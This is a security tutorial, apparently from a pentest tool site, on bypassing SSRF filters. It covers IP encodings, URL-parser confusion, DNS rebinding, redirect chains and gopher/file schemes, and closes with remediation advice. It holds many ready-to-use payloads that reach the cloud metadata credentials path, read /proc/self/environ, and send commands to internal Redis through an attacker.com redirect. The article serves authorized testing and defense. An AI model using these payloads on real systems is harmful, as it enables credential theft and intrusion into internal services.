SSRF Filter Bypass Techniques: IP Encodings, DNS Rebinding, Redirects, and Schemes
Most SSRF vulnerabilities don't fail because the application forgot to validate the URL — they fail because the validation was incomplete. A developer adds a blocklist for 127.0.0.1 and 169.254.169.254, parses the host with one library, fetches it with another, and assumes the job is done. The gap between "the string the validator inspected" and "the address the HTTP client actually connects to" is where almost every modern SSRF bypass lives. This article is about systematically attacking that gap during authorized testing.
We'll work through the five bypass families that consistently break naive defenses: alternate IP encodings, URL-parser confusion, DNS-based tricks (including rebinding), redirect chaining, and scheme abuse. The goal is to reach an internal target the application never intended to expose — typically the cloud metadata service or an internal admin panel. If you want the broader exploitation context, see the companion SSRF cloud metadata guide; here we focus narrowly on getting past the filter.
Why Allowlists and Blocklists Both Leak
SSRF defenses come in two shapes. A blocklist tries to enumerate bad destinations (loopback, link-local, RFC 1918). This is doomed because the IPv4 address space has too many representations of the same host, and IPv6 multiplies the problem. An allowlist restricts requests to known-good hosts, which is far stronger — but it usually validates a hostname or URL string, then hands a fresh URL to an HTTP client that re-resolves DNS and follows redirects independently. That time-of-check to time-of-use (TOCTOU) split is the structural weakness DNS rebinding and redirect chaining exploit.
The mental model to carry through every technique below: find the disagreement. Disagreement between two parsers, between the validator's DNS lookup and the fetcher's, or between the string seen and the socket opened.
Alternate IP Encodings
When the filter does a literal string comparison or a sloppy regex against 127.0.0.1, the simplest bypass is to write the same address a different way. The C library inet_aton() — used transitively by many HTTP stacks — accepts decimal, octal, hex, and "short" dotted forms, all of which resolve to the same 32-bit integer.
# All of these are 127.0.0.1
http://2130706433/ # decimal (full 32-bit integer)
http://0x7f000001/ # hex
http://0177.0.0.1/ # octal first octet
http://0x7f.0x0.0x0.0x1/ # per-octet hex
http://127.1/ # short form (a.d -> a.0.0.d)
http://127.0.1/ # short form (a.b.d)
# Mix bases in a single address — many parsers still accept it
http://0x7f.1/
http://0177.0.0.0x1/
The same trick reaches the AWS metadata IP 169.254.169.254:
http://2852039166/ # decimal
http://0xa9fea9fe/ # hex
http://0251.0376.0251.0376/ # octal
IPv6 adds another layer. Loopback is [::1], and IPv4-mapped addresses let you smuggle an IPv4 target through an IPv6 literal: [::ffff:127.0.0.1] or its hex form [::ffff:7f00:1]. On dual-stack hosts, [0:0:0:0:0:ffff:a9fe:a9fe] can hit the metadata service when the v4 form is blocked. When you need to brute-force encodings quickly, run the host through an encoding pipeline to generate decimal, hex, and octal variants in one pass rather than computing them by hand.
URL Parser Confusion
RFC 3986 is more permissive than most developers realize, and parsers disagree about where the authority (host) ends. The classic primitive is the credentials separator @: everything before it is userinfo, everything after is the real host. A validator that extracts "the hostname" with a naive regex often grabs the wrong side.
# Validator sees "trusted.example.com", fetcher connects to 169.254.169.254
http://[email protected]/latest/meta-data/
# Stacked separators and fragments confuse split-on-first-token logic
http://169.254.169.254#@trusted.example.com/
http://trusted.example.com#@169.254.169.254/
http://169.254.169.254\@trusted.example.com/ # backslash treated as / by browsers/Node
# Whitespace and control chars that some parsers strip before resolution
http://169.254.169.254%[email protected]/
http://169.254.169.254%2509/ # encoded tab
Tools differ in how they treat backslashes, encoded slashes (%2f), and the boundary between host and path. The well-known "A New Era of SSRF" research demonstrated that urllib, requests, Node's parser, and curl can each interpret the same string differently — so a payload that the validator parses as benign gets routed by the fetcher to an internal host. When you find a target with server-side validation, throw the same URL at it in several mangled forms and watch which one changes the response.
DNS Tricks and Rebinding
If the filter resolves a hostname and checks the resulting IP, you can still win in two ways. First, attacker-controlled DNS records that simply point at an internal address: wildcard services like nip.io and sslip.io turn any IP into a hostname (169.254.169.254.nip.io resolves to the metadata IP), which sails past hostname blocklists. So does a record you control on your own domain pointed at 127.0.0.1.
The more powerful technique is DNS rebinding, which defeats allowlists that resolve once, validate the IP, then resolve again at fetch time. You serve a domain whose A record flips between a benign public IP (passes validation) and the internal target (used by the actual request), exploiting the TOCTOU window with a low TTL.
# 1. Validator resolves attacker.com -> 93.184.216.34 (public, passes allowlist)
# 2. TTL=0 forces re-resolution at fetch time
# 3. Fetcher resolves attacker.com -> 169.254.169.254 (internal target)
# Authoritative DNS that alternates answers per query, e.g. with a rebind helper:
# dig @ns.attacker.com rebind.attacker.com -> 1.2.3.4 (first query)
# dig @ns.attacker.com rebind.attacker.com -> 169.254.169.254 (second query)
Some validators are also vulnerable to a single A record that returns multiple addresses (one public, one private) and a fetcher that picks the second. Rebinding is the answer to "but the app validates the resolved IP, not the string" — a defense that looks airtight until you control the name server.
Redirect Chaining
An allowlist that validates the initial URL but lets the HTTP client follow redirects is trivially bypassed: point the request at a URL you control that 3xx-redirects to the internal target. The validator approves your benign endpoint; the fetcher follows the Location header straight into the metadata service.
GET /collect?url=https://attacker.com/redirect HTTP/1.1
# attacker.com/redirect responds:
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Defenders sometimes block http:// redirect targets but forget the protocol-relative form (//169.254.169.254/) or a redirect that lands on a decimal-encoded IP. You can also chain a legitimate open redirect on the in-scope application itself, which is more credible to the filter because the redirect originates from an allowlisted host. If the target exposes one, our open redirect generator helps craft the pivot URL. Always test whether the client follows redirects at all (a single hop to your collaborator) before building the full chain.
Scheme Abuse and Protocol Smuggling
Filters that only think about http/https miss other URL schemes the underlying client supports. These widen SSRF from "read internal HTTP" to "interact with internal TCP services."
file:///etc/passwd # local file read
file:///proc/self/environ # leak env (creds, tokens)
gopher://127.0.0.1:6379/_SET%20x%20y # craft raw TCP -> Redis, etc.
dict://127.0.0.1:11211/stats # memcached / service enum
ftp://internal-host/ # internal FTP
ldap://127.0.0.1:389/ # internal LDAP probe
gopher:// is the high-value one: because it sends arbitrary bytes after the path, you can hand-build a multi-line protocol payload (a Redis CONFIG SET to write a cron job, an unauthenticated HTTP POST, an SMTP session) and deliver it through the SSRF. Mixed-case (FILE://, GopHer://) and scheme-confusion payloads sometimes slip past case-sensitive scheme allowlists. For copy-ready variants of all of the above, the SSRF cheat sheet collects encodings, schemes, and metadata paths in one place.
Putting the Bypasses Together
In practice you stack these. A strong real-world chain looks like: an in-scope open redirect (credible origin) → that redirects to a DNS-rebinding hostname → which resolves to a decimal-encoded link-local address → reaching the metadata service. Each layer defeats a different control. Methodical testing — one variable at a time, watching response timing and content for the tell of an internal hit — is what separates a confirmed finding from a guess. Our SSRF payload generator produces these combinations programmatically, and the how-to-test-for-SSRF guide walks the full methodology including out-of-band detection with a collaborator server.
Remediation and Defenses
The recurring theme of every bypass above is parser and resolver disagreement, so robust defense means closing the TOCTOU gap rather than playing encoding whack-a-mole:
- Validate after resolution, then pin. Resolve the hostname yourself, reject any result in loopback, link-local (
169.254.0.0/16), or RFC 1918 ranges (including IPv4-mapped IPv6), and connect to that resolved IP — not the original hostname. This single change defeats DNS rebinding because there is no second resolution. - Prefer allowlists over blocklists. Restrict outbound fetches to a small set of known hosts and explicit schemes (
http/httpsonly). Rejectfile,gopher,dict, and friends outright. - Disable or strictly bound redirects. If redirects must be followed, re-validate every hop's resolved IP against the same private-range checks; don't trust the first URL alone.
- Enforce IMDSv2. On AWS, require the session-token PUT (IMDSv2) and set the hop limit to 1 so a proxied SSRF can't reach
169.254.169.254. Apply the equivalent metadata hardening on GCP and Azure. - Network egress controls. Put the fetching service behind an egress proxy or firewall that physically cannot route to the metadata IP or internal management subnets — defense in depth for when the application-layer check is bypassed anyway.
- Normalize and reject ambiguity. If a URL contains userinfo (
@), mixed-base octets, control characters, or encoded slashes in the authority, reject it rather than trying to "clean" it.
For pentesters, the takeaway is to treat the validator and the HTTP client as separate, fallible components and hunt for the seam between them. For defenders, the fix is to make those two components agree by resolving once, validating the real IP, and connecting to exactly that — everything else is patching symptoms. Always conduct this testing only against systems you are explicitly authorized to assess.
Put this into practice
Generate and test these payloads interactively — free, in your browser.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides